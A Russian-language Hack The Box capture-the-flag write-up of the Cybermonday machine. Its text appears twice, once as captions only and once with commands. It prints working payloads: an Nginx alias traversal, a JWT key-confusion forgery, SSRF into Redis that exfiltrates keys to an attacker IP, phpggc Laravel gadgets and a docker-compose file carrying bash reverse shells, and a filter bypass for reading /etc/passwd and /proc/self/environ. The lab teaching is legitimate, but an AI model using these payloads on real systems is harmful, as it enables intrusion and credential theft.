stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как злоумышленник может использовать неверную настройку JSON Web Tokens при атаке на веб‑сервер. Также проэксплуатируем обход каталога в Nginx, получим доступ к Redis благодаря SSRF и поупражняемся в атаках, связанных с Docker.
Всё это — в рамках захвата тренировочной машины Cybermonday с площадки Hack The Box. Уровень ее — сложный.
10.10.11.228 cybermonday.htb
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Nmap нашел всего два открытых порта: 22 — служба OpenSSH 8.4p1 и 80 — веб‑сервер Nginx 1.25.1.
Открываем сайт и пытаемся определить, какие используются технологии.
Для просмотра ссылки Войдиили Зарегистрируйся
На сайте есть возможность регистрации и авторизации — сразу же зарегистрируемся. Это откроет нам доступ к новым функциям и расширит область тестирования.
Главная страница авторизованного пользователя
На сайте ничего интересного найти не удалось, поэтому нужно провести сканирование в поисках скрытых возможностей и ресурсов.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
Результат сканирования файлов с помощью feroxbuster
Нам доступно несколько интересных файлов. Увы, robots.txt оказался пустым, однако из .htaccess узнаём настройки доступа.
или Зарегистрируйся
Содержимое файла .htaccess
Ошибка регистрации пользователя
Также здесь из‑за неправильной настройки Nginx возможна уязвимость типа Nginx Alias Traversal. Подробно я ее разбирал в Для просмотра ссылки Войдиили Зарегистрируйся. Попробуем подобрать имя файла, используя обход каталога /assets../.
Результат сканирования файлов с помощью feroxbuster
Находим много интересного, к примеру файл .env, содержащий настройки служб.
Содержимое файла .env
Также доступен каталог .git, что дает нам возможность получить исходные коды сайта с помощью git-dumper.
Работать с git-репозиторием можно через VS Code.
История коммитов
Просматривая файлы сайта, узнаём о наличии роли isAdmin (строка 41).
Содержимое файла User.php
При этом в файле ProfileController.php при обновлении свойств профиля пользователя нет никакой проверки отправляемых параметров (строки 19–33).
Содержимое файла ProfileController.php
Заходим на страницу обновления пользовательских настроек профиля, отправляем данные и перехватываем с помощью Burp Intercept. Добавляем параметр isAdmin=true и отправляем запрос дальше на сервер.
Перехваченный запрос
Ответ сервера
Но получаем ошибку, из которой узнаём, что значение true не является типом int. Не беда: повторим отправку, но теперь с параметром isAdmin=1.
Перехваченный запрос
Ответ сервера
В меню сайта появилась новая страница Dashboard, а значит, у нас получилось поменять роль пользователя. Перейдем на новую страницу.
Страница Dashboard
На дашборде видим новую навигационную панель с пунктом Changelog. То есть мы можем получить историю изменений версий продукта. Там часто встречается важная информация. На этот раз находим ссылку на бета‑версию сервиса под названием Webhook.
Страница Changelog
Ответ сервера
В ответе получаем несколько конечных точек API, а также методы запросов и необходимые параметры. Первым делом зарегистрируем пользователя и авторизуемся.
Регистрация в сервисе
Авторизация в сервисе
В ответ получаем токен, который необходимо передавать в HTTP-заголовке x-access-token.
Просмотр веб‑хуков
Я посмотрел другие API, и меня заинтересовало действие sendRequests, где передаются URL-адрес и метод. Это потенциальный путь к SSRF. Определить такое действие можно при создании веб‑хука, но создать его мы не можем, так как пользователь непривилегированный. Давай подробнее посмотрим на JWT.
Разобрать JWT можно с помощью расширения Для просмотра ссылки Войдиили Зарегистрируйся.
Декодированный заголовок
В поле данных видим параметр role, отвечающий за привилегии. Также я обратил внимание на использование асимметричного алгоритма шифрования RS256. Еще иногда серверы предоставляют свои открытые ключи как объекты JSON Web Key через стандартные URI /jwks.json или /.well-known/jwks.json. Проверим, нет ли их на сервере.
Открытые JWK-ключи сервера
Так мы получаем сценарий, когда задан статический ключ.
Если у тебя установлен Burp с расширением JWT Editor, выполнить эту атаку будет просто. Первым делом копируем ключ из jwks.json, в меню Burp переходим к JWT Editor и выбираем опцию New RSA Key. В открывшееся окошко и вставляем скопированный ключ.
Расширение JWT Editor
Затем переключаем формат ключа на PEM и задаем его идентификатор, после чего сохраняем преобразованный ключ. В таблице кешированных ключей увидим только что созданный.
Преобразование ключа
Расширение JWT Editor
Теперь возвращаемся к вкладке Burp Repeater и переходим в режим просмотра JSON Web Token. В заголовке JWT меняем алгоритм на HS256, а в поле данных ставим роль admin. После внесения изменений переходим к пункту меню Attack → HMAC Key Confusion и в появившемся окошке выбираем созданный ранее ключ.
Burp Repeater — режим JSON Web Token
После подтверждения ключа получаем новый JWT.
Burp Repeater — режим JSON Web Token
Переходим обратно в режим просмотра Raw и отправляем запрос с новым JWT.
Ответ сервера
Статус ответа — success, а значит, атака проведена успешно. Теперь у нас есть высокие привилегии на сайте.
Создание веб‑хука
Теперь запустим локальный веб‑сервер:
И обратимся к созданному хуку, чтобы получить запрос на наш сервер. В параметрах нужно передать адрес и метод для выполнения запроса.
Запрос к веб‑хуку
Логи веб‑сервера
Необходимо узнать, задан ли список разрешенных методов. Для этого вместо веб‑сервера запускаем листенер netcat и указываем случайный метод.
Запрос к веб‑хуку
Логи листенера
В файле .env мы нашли параметры для Redis, поэтому попробуем обратиться к СУБД и выполнить запрос к своему тестовому листенеру. Для этого используем команду REPLICAOF.
Логи листенера
Запрос приходит, а значит, мы можем попробовать поработать с базой данных на сервере.
Подключаемся к своему серверу и просматриваем данные.
Ключи Redis
База хранит сессии Laravel. Просматривая значения по ключам, получаем сериализованные данные сессий.
Данные Redis
Внимание привлекает параметр token, используемый на странице авторизации.
Исходный код страницы login
Этот параметр и поможет определить нашу сессию. Снова авторизуемся на сайте, получим ключи с сервера и найдем сессию с нашим токеном.
Значение сессии
После выполнения запроса к серверу проверим настройки репликации на локальном хосте.
Настройки репликации данных Redis
Находим в параметрах удаленный сервер, но это еще не всё. Теперь на удаленном сервере разрешим перезапись данных.
Когда СУБД настроена, можно перейти к формированию нагрузки. В случае с Java и .NET обычно используют десериализатор ysoserial, аналогичный есть и Для просмотра ссылки Войдиили Зарегистрируйся. Сериализовать будем самый простой реверс‑шелл.
Создание нагрузки
Теперь запускаем листенер (pwncat-cs -lp 4321) и перезаписываем данные в Redis:
После обновления страницы на сайте моментально получаем удаленную сессию в терминале pwncat-cs.
Сессия пользователя www-data
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
В выводе из интересного — только информация об интерфейсах.
Информация об интерфейсах
Так как мы работаем в Kubernetes, просканируем сеть на наличие живых хостов.
Результат сканирования сети
По именам хостов понятно, где какие службы работают. Чтобы получить доступ к этим хостам, нужно построить туннель. Для этого будем использовать инструмент Для просмотра ссылки Войдиили Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 5432 (параметр -p).
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля — socks.
В логах сервера должны увидеть сообщение о создании сессии.
Для просмотра ссылки Войдиили Зарегистрируйся
На хосте 172.18.0.2 развернут Docker Registry. Давай определим, на каких портах. Для работы через туннель будем использовать proxychains, для чего в файл конфигураций /etc/proxychains.conf добавим запись socks5 127.0.0.1 1080. Когда все готово, сканируем типичные для службы порты:
Результат сканирования портов
Теперь используем Для просмотра ссылки Войдиили Зарегистрируйся, чтобы получить список репозиториев.
или Зарегистрируйся
Образы Docker Registry
А теперь сдампим все содержимое cybermonday_api.
или Зарегистрируйся
Дамп всех данных репозитория
Файлов очень много, и их анализ займет много времени, поэтому сначала проверим содержимое базы данных.
Существующие базы данных
Из всех баз представляют интерес cybermonday и webhooks_api. В каждой из баз находим таблицы с данными пользователей и получаем все данные.
Данные из базы cybermonday
Данные из базы webhooks_api
Хеши Bcrypt нам ничего не дали, а что могут дать веб‑хуки, тоже пока неясно. Теперь вернемся к скачанным из Docker Registry архивам. В одном из них находим исходные коды сервиса.
Содержимое архива
Содержимое файла Api.php
Содержимое файла Router.php
Функции, которые обрабатывают запросы к API /webhooks/:uuid/logs, находятся в файле LogsController.php. У этого API есть две возможности: вывод списка и чтение (строки 50 и 56).
Содержимое файла LogsController.php
Функция чтения интереснее, так как позволяет получить содержимое файла из файловой системы. Чтобы мы не читали какие попало файлы, к переменной log_name применяются фильтры. Один из них не разрешает последовательность ../ (строки 59–62), используемую для обхода каталога, а второй удаляет все пробелы (строки 64–69).
Такую фильтрацию легко обойти последовательностью . ./, которая при удалении пробела превращается в ../. Однако нам нужно, чтобы существовал веб‑хук с таким именем. Это легко организовать, так как у нас есть доступ к базе данных. Меняем имя хука, а затем пытаемся получить содержимое файла /etc/passwd (не забываем использовать в запросе найденный api-key).
Изменение имени хука
Получение файла /etc/passwd
Теперь читаем файл /proc/self/environ, содержащий переменные окружения процесса.
Получение файла /proc/self/environ
Получаем новый пароль, который необходимо сразу проверить на всех доступных сервисах. С ним мы авторизуемся по SSH и получаем первый флаг.
Флаг пользователя
Настройки sudoers
Мы можем запустить скрипт /opt/secure_compose.py от имени пользователя root и передать ему любой YAML-файл. Взглянем на содержимое скрипта. Сначала в функции main проверяется, существует ли переданный файл. Затем выполняется его загрузка и десериализация (строки 44–53). Следом — проверка существования блока services и его передача в функцию check_no_privileged (строки 55–63). После этого для каждого блока в функциях check_whitelist, check_read_only и check_no_symlinks проверяется блок volumes (строки 65–73).
Исходный код secure_compose.py
Если все проверки пройдены, то для этой конфигурации запускается контейнер Docker (строки 101–110). Названия функций проверки говорят сами за себя.
Для просмотра ссылки Войдиили Зарегистрируйся
Исходный код secure_compose.py
Нам нужно передать скрипту такую конфигурацию, которая позволит повысить привилегии на хосте, но при этом пройдет все проверки. Сразу обратим внимание на то, что нет фильтра для capabilities, а значит, передав параметр cap_add=ALL, мы активируем все привилегии, что почти эквивалентно privileged=True. Также мы можем подключить к контейнеру корневой раздел основной файловой системы, для этого используем настройку безопасности apparmor=unconfined и указываем устройство /dev/sda1.
Осталось только получить доступ из самого контейнера, но и эта проблема легко решается. В качестве параметра command передадим реверс‑шелл, который даст нам сессию при запуске контейнера.
В итоге собираем следующий YAML-файл, запускаем листенер (pwncat-cs -lp 4321) и выполняем скрипт.
Запуск контейнера
Сессия root в контейнере
Получаем сессию root в контейнере. Монтируем раздел /dev/sda1 и проверяем имя хоста.
Проверка примонтированных файлов
Все получилось так, как я и задумывал. Переходим в домашний каталог рута и забираем последний флаг.
Флаг рута
Машина захвачена!
Всё это — в рамках захвата тренировочной машины Cybermonday с площадки Hack The Box. Уровень ее — сложный.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.228 cybermonday.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Nmap нашел всего два открытых порта: 22 — служба OpenSSH 8.4p1 и 80 — веб‑сервер Nginx 1.25.1.
Открываем сайт и пытаемся определить, какие используются технологии.
Для просмотра ссылки Войди
На сайте есть возможность регистрации и авторизации — сразу же зарегистрируемся. Это откроет нам доступ к новым функциям и расширит область тестирования.

На сайте ничего интересного найти не удалось, поэтому нужно провести сканирование в поисках скрытых возможностей и ресурсов.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске указываем следующие параметры:
- -u — URL;
- -k — игнорировать ошибки SSL;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -d — глубина сканирования.
feroxbuster -k -u [URL]http://cybermonday.htb/[/URL] -t 16 -d 1 -w files_interesting.txt

Нам доступно несколько интересных файлов. Увы, robots.txt оказался пустым, однако из .htaccess узнаём настройки доступа.
curl
Для просмотра ссылки Войди 
Точка входа
При тестировании формы авторизации я обнаружил, что если попытаться зарегистрировать второго пользователя на тот же почтовый ящик, то появится страница с ошибкой. Из нее мы выяснили, что сайт сделан на фреймворке Laravel.
Также здесь из‑за неправильной настройки Nginx возможна уязвимость типа Nginx Alias Traversal. Подробно я ее разбирал в Для просмотра ссылки Войди
feroxbuster -k -u [URL]http://cybermonday.htb/assets../[/URL] -t 8 -d 1 -w files_interesting.txt

Находим много интересного, к примеру файл .env, содержащий настройки служб.

Также доступен каталог .git, что дает нам возможность получить исходные коды сайта с помощью git-dumper.
Код:
mkdir git
git-dumper http://cybermonday.htb/assets../.git ./git
Работать с git-репозиторием можно через VS Code.

Просматривая файлы сайта, узнаём о наличии роли isAdmin (строка 41).

При этом в файле ProfileController.php при обновлении свойств профиля пользователя нет никакой проверки отправляемых параметров (строки 19–33).

Заходим на страницу обновления пользовательских настроек профиля, отправляем данные и перехватываем с помощью Burp Intercept. Добавляем параметр isAdmin=true и отправляем запрос дальше на сервер.


Но получаем ошибку, из которой узнаём, что значение true не является типом int. Не беда: повторим отправку, но теперь с параметром isAdmin=1.


В меню сайта появилась новая страница Dashboard, а значит, у нас получилось поменять роль пользователя. Перейдем на новую страницу.

На дашборде видим новую навигационную панель с пунктом Changelog. То есть мы можем получить историю изменений версий продукта. Там часто встречается важная информация. На этот раз находим ссылку на бета‑версию сервиса под названием Webhook.

Точка опоры
Добавляем найденный домен в файл /etc/hosts и выполняем запрос.
Код:
10.10.11.228 cybermonday.htb webhooks-api-beta.cybermonday.htb
curl http://webhooks-api-beta.cybermonday.htb | jq

В ответе получаем несколько конечных точек API, а также методы запросов и необходимые параметры. Первым делом зарегистрируем пользователя и авторизуемся.


В ответ получаем токен, который необходимо передавать в HTTP-заголовке x-access-token.

Я посмотрел другие API, и меня заинтересовало действие sendRequests, где передаются URL-адрес и метод. Это потенциальный путь к SSRF. Определить такое действие можно при создании веб‑хука, но создать его мы не можем, так как пользователь непривилегированный. Давай подробнее посмотрим на JWT.
Справка: JSON Web Token (JWT)
JSON Web Token состоит из трех частей: заголовка (header), полезной нагрузки (payload) и подписи. Заголовок и полезная нагрузка представляют собой объекты JSON, при этом нагрузка может быть любой, это именно те критически важные данные, которые передаются приложению. Заголовок содержит определенные поля:- alg — алгоритм, используемый для подписи/шифрования. Это обязательный ключ;
- typ — тип токена. Это поле должно иметь значение JWT.
Разобрать JWT можно с помощью расширения Для просмотра ссылки Войди

В поле данных видим параметр role, отвечающий за привилегии. Также я обратил внимание на использование асимметричного алгоритма шифрования RS256. Еще иногда серверы предоставляют свои открытые ключи как объекты JSON Web Key через стандартные URI /jwks.json или /.well-known/jwks.json. Проверим, нет ли их на сервере.

Так мы получаем сценарий, когда задан статический ключ.
Атака путаницы ключей
Предполагается, что будут обрабатываться исключительно токены, подписанные с использованием асимметричного алгоритма RS256. Но если обмен токенами реализован неверно, то сервер, получив токен, подписанный при помощи симметричного алгоритма HS256, будет рассматривать открытый ключ как секрет HMAC. Таким образом атакующий может подписать токен, используя HS256 и открытый ключ, а сервер будет использовать тот же открытый ключ для проверки подписи! Этот метод называется «атака путаницы ключей».Если у тебя установлен Burp с расширением JWT Editor, выполнить эту атаку будет просто. Первым делом копируем ключ из jwks.json, в меню Burp переходим к JWT Editor и выбираем опцию New RSA Key. В открывшееся окошко и вставляем скопированный ключ.

Затем переключаем формат ключа на PEM и задаем его идентификатор, после чего сохраняем преобразованный ключ. В таблице кешированных ключей увидим только что созданный.


Теперь возвращаемся к вкладке Burp Repeater и переходим в режим просмотра JSON Web Token. В заголовке JWT меняем алгоритм на HS256, а в поле данных ставим роль admin. После внесения изменений переходим к пункту меню Attack → HMAC Key Confusion и в появившемся окошке выбираем созданный ранее ключ.

После подтверждения ключа получаем новый JWT.

Переходим обратно в режим просмотра Raw и отправляем запрос с новым JWT.

Статус ответа — success, а значит, атака проведена успешно. Теперь у нас есть высокие привилегии на сайте.
SSRF
Так как привилегии повышены, создадим новый веб‑хук.
Код:
{
"name":"ralf_test",
"description":"test",
"action":"sendRequest"
}

Теперь запустим локальный веб‑сервер:
python3 -m http.server 80
И обратимся к созданному хуку, чтобы получить запрос на наш сервер. В параметрах нужно передать адрес и метод для выполнения запроса.
Код:
{
"url":"http://10.10.16.25/test_webhook",
"method":"GET"
}


Необходимо узнать, задан ли список разрешенных методов. Для этого вместо веб‑сервера запускаем листенер netcat и указываем случайный метод.


В файле .env мы нашли параметры для Redis, поэтому попробуем обратиться к СУБД и выполнить запрос к своему тестовому листенеру. Для этого используем команду REPLICAOF.
Код:
{
"url":"http://redis:6379",
"method":"REPLICAOF 10.10.16.25 6379\r\n\r\n"
}

Запрос приходит, а значит, мы можем попробовать поработать с базой данных на сервере.
Redis
Теперь давай эксфильтруем все содержимое базы, для чего сначала установим и запустим на своем хосте redis-server.
Код:
sudo apt isntall redis-server
redis-server --loglevel verbose --protected-mode no
Теперь отправляем запрос для переноса каждого ключа с исходного экземпляра на наш.
{
"url":"http://redis:6379",
"method":"EVAL 'for key,val in pairs(redis.call("KEYS","*")) do redis.pcall("MIGRATE","10.10.16.69","6379",val,0,1000) end' 0\r\n\r\n"
}
Подключаемся к своему серверу и просматриваем данные.
Код:
redis-cli
keys *

База хранит сессии Laravel. Просматривая значения по ключам, получаем сериализованные данные сессий.

Внимание привлекает параметр token, используемый на странице авторизации.

Этот параметр и поможет определить нашу сессию. Снова авторизуемся на сайте, получим ключи с сервера и найдем сессию с нашим токеном.

Laravel RCE
Так как Laravel передает данные сессии в сериализованном формате, контролируя эти данные, мы можем записать такой гаджет, который при десериализации выполнит вредоносный код. Чтобы получить возможность перезаписи данных сессий, мы можем настроить репликацию данных СУБД с нашего сервера на удаленный.
Код:
{
"url":"http://redis:6379",
"method":"REPLICAOF 10.10.16.69 6379\r\n\r\n"
}
После выполнения запроса к серверу проверим настройки репликации на локальном хосте.
info replication

Находим в параметрах удаленный сервер, но это еще не всё. Теперь на удаленном сервере разрешим перезапись данных.
Код:
{
"url":"http://redis:6379/",
"method":"CONFIG SET replica-read-only no\r\n\r\n"
}
Когда СУБД настроена, можно перейти к формированию нагрузки. В случае с Java и .NET обычно используют десериализатор ysoserial, аналогичный есть и Для просмотра ссылки Войди
phpggc -f -a Laravel/RCE16 system 'bash -c "bash -i >& /dev/tcp/10.10.16.69/4321 0>&1 2<&1"'

Теперь запускаем листенер (pwncat-cs -lp 4321) и перезаписываем данные в Redis:
set 'laravel_session:aySh4jUKXBxA6PxcD5gmlH2zqL4Q7iCAlKTxuUAm' 'a:2........i:7;}'
После обновления страницы на сайте моментально получаем удаленную сессию в терминале pwncat-cs.

Продвижение
Теперь нам нужно собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
В выводе из интересного — только информация об интерфейсах.

Так как мы работаем в Kubernetes, просканируем сеть на наличие живых хостов.
nmap -sn 172.18.0.0/24

По именам хостов понятно, где какие службы работают. Чтобы получить доступ к этим хостам, нужно построить туннель. Для этого будем использовать инструмент Для просмотра ссылки Войди
./chisel.bin server -p 5432 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля — socks.
./ch client 10.10.16.69:5432 R:socks
В логах сервера должны увидеть сообщение о создании сессии.
Для просмотра ссылки Войди
На хосте 172.18.0.2 развернут Docker Registry. Давай определим, на каких портах. Для работы через туннель будем использовать proxychains, для чего в файл конфигураций /etc/proxychains.conf добавим запись socks5 127.0.0.1 1080. Когда все готово, сканируем типичные для службы порты:
proxychains -q nmap -p5000-5002 -Pn 172.18.0.2

Теперь используем Для просмотра ссылки Войди
proxychains -q python3 DockerGraber.py --list
Для просмотра ссылки Войди 
А теперь сдампим все содержимое cybermonday_api.
proxychains -q python3 DockerGraber.py --dump_all
Для просмотра ссылки Войди 
Файлов очень много, и их анализ займет много времени, поэтому сначала проверим содержимое базы данных.
Код:
proxychains -q mysql -h 172.18.0.7 -u root -proot
show databases;

Из всех баз представляют интерес cybermonday и webhooks_api. В каждой из баз находим таблицы с данными пользователей и получаем все данные.
Код:
use cybermonday;
show tables;
select * from users;

Код:
use webhooks_api;
show tables;
select * from users;
select * from webhooks;

Хеши Bcrypt нам ничего не дали, а что могут дать веб‑хуки, тоже пока неясно. Теперь вернемся к скачанным из Docker Registry архивам. В одном из них находим исходные коды сервиса.

Arbitrary File Read
В исходном коде веб‑приложения находим секретный ключ API, а среди конечных точек API есть обработчик /webhooks/:uuid/logs, отсутствующий в полученном ранее описании.

Функции, которые обрабатывают запросы к API /webhooks/:uuid/logs, находятся в файле LogsController.php. У этого API есть две возможности: вывод списка и чтение (строки 50 и 56).

Функция чтения интереснее, так как позволяет получить содержимое файла из файловой системы. Чтобы мы не читали какие попало файлы, к переменной log_name применяются фильтры. Один из них не разрешает последовательность ../ (строки 59–62), используемую для обхода каталога, а второй удаляет все пробелы (строки 64–69).
Такую фильтрацию легко обойти последовательностью . ./, которая при удалении пробела превращается в ../. Однако нам нужно, чтобы существовал веб‑хук с таким именем. Это легко организовать, так как у нас есть доступ к базе данных. Меняем имя хука, а затем пытаемся получить содержимое файла /etc/passwd (не забываем использовать в запросе найденный api-key).
update webhooks set name='../../../../../' where uuid='fda96d32-e8c8-4301-8fb3-c821a316cf77';

Код:
{
"action":"read",
"log_name":". ./. ./. ./. ./logs/. ./. ./. ./. ./etc/passwd"
}

Теперь читаем файл /proc/self/environ, содержащий переменные окружения процесса.
Код:
{
"action":"read",
"log_name":". ./. ./. ./. ./logs/. ./. ./. ./. ./proc/self/environ"
}

Получаем новый пароль, который необходимо сразу проверить на всех доступных сервисах. С ним мы авторизуемся по SSH и получаем первый флаг.

Локальное повышение привилегий
Так как разведку на хосте мы уже проводили, остается проверить не так много техник для повышения привилегий. Одна из них связана с запуском привилегированных команд через sudo.
Мы можем запустить скрипт /opt/secure_compose.py от имени пользователя root и передать ему любой YAML-файл. Взглянем на содержимое скрипта. Сначала в функции main проверяется, существует ли переданный файл. Затем выполняется его загрузка и десериализация (строки 44–53). Следом — проверка существования блока services и его передача в функцию check_no_privileged (строки 55–63). После этого для каждого блока в функциях check_whitelist, check_read_only и check_no_symlinks проверяется блок volumes (строки 65–73).

Если все проверки пройдены, то для этой конфигурации запускается контейнер Docker (строки 101–110). Названия функций проверки говорят сами за себя.
Для просмотра ссылки Войди

Нам нужно передать скрипту такую конфигурацию, которая позволит повысить привилегии на хосте, но при этом пройдет все проверки. Сразу обратим внимание на то, что нет фильтра для capabilities, а значит, передав параметр cap_add=ALL, мы активируем все привилегии, что почти эквивалентно privileged=True. Также мы можем подключить к контейнеру корневой раздел основной файловой системы, для этого используем настройку безопасности apparmor=unconfined и указываем устройство /dev/sda1.
Осталось только получить доступ из самого контейнера, но и эта проблема легко решается. В качестве параметра command передадим реверс‑шелл, который даст нам сессию при запуске контейнера.
В итоге собираем следующий YAML-файл, запускаем листенер (pwncat-cs -lp 4321) и выполняем скрипт.
Код:
version: '3'
services:
api:
image: cybermonday_api
command: bash -c "bash -i >/dev/tcp/10.10.16.11/4321 0>&1 2<&1"
cap_add:
- ALL
devices:
- /dev/sda1:/dev/sda1
security_opt:
- "apparmor=unconfined"
sudo /opt/secure_compose.py /dev/shm/ralf.yml


Получаем сессию root в контейнере. Монтируем раздел /dev/sda1 и проверяем имя хоста.
Код:
mount /dev/sda1 /mnt/
cat /mnt/etc/hostname

Все получилось так, как я и задумывал. Переходим в домашний каталог рута и забираем последний флаг.

Машина захвачена!